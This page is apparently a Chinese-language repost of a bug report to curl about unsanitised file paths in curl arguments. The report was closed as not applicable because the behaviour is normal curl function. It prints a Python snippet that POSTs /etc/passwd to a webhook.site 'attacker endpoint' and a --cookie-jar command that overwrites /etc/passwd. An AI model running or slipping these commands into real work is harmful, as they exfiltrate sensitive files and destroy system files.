通过未清理的curl使用实现任意文件读取导致敏感文件泄露

本文详细分析了curl工具在使用过程中由于未对用户输入进行适当清理,导致攻击者能够读取服务器敏感文件或覆盖关键系统文件的安全风险,包含实际攻击场景和修复建议。

报告 #3183957 - 通过未清理的curl使用实现任意文件读取导致敏感文件泄露

漏洞描述

应用程序在使用curl时,允许攻击者通过参数(如--cookie-jar)或POST数据(-d @file)指定任意文件路径作为输入。如果将不受信任的用户输入传递给这些参数,攻击者可能覆盖敏感文件或将服务器文件泄露到外部攻击者控制的服务器,从而导致敏感数据泄露或拒绝服务。

影响

  • 敏感文件泄露(如/etc/passwd或其他文件的外泄)
  • 覆盖关键文件(例如authorized_keys.env、配置文件)
  • 在自动化构建或CI环境中可能导致供应链受损

攻击场景

示例1:使用POST进行文件泄露

如果用户输入控制文件路径(例如curl命令中的文件名或数据参数):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import subprocess

# 攻击者端点
webhook_url = "https://webhook.site/fd9dfaf1-7ed0-446e-9c6f-e182f6b11e4e"
file_path = "/etc/passwd"

cmd = [
    "curl",
    "-X", "POST",
    "-d", f"@{file_path}",
    webhook_url
]

subprocess.run(cmd, check=True)

结果/etc/passwd的完整内容被POST到攻击者的服务器。这可以是系统上的任何敏感文件。

如果攻击者可以控制传递给--cookie-jar的文件名:

1
curl --cookie-jar /etc/passwd https://example.com

结果:目标文件(/etc/passwd)被cookie文件覆盖,破坏其原始内容。如果这是关键文件,应用程序/系统可能变得不可用。

修复建议

  • 切勿在系统命令中使用未清理的用户输入,尤其是文件路径
  • 对所有文件输入进行清理和验证
  • 如果必须允许用户提供的文件,请使用严格的白名单并将文件存储在隔离的非敏感目录中
  • 避免在没有检查的情况下直接将用户输入传递给curl命令行

时间线

  • 2025年6月9日 12:16 UTC:ednaq向curl提交报告
  • 2025年6月9日 12:17 UTC:curl工作人员bagder回复称这不是安全问题,而是curl的正常功能
  • 2025年6月9日 12:46 UTC:ednaq承认错误,但认为由于供应链问题可能存在风险
  • 2025年6月11日 9:17 UTC:报告被关闭,状态改为"不适用"
  • 2025年6月22日 10:57 UTC:请求公开此报告
  • 2025年6月27日 9:47 UTC:报告被公开

报告详情

  • 报告ID:#3183957
  • 严重程度:无(0.0)
  • 弱点:外部控制文件名或路径
  • CVE ID:无
  • 赏金:无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计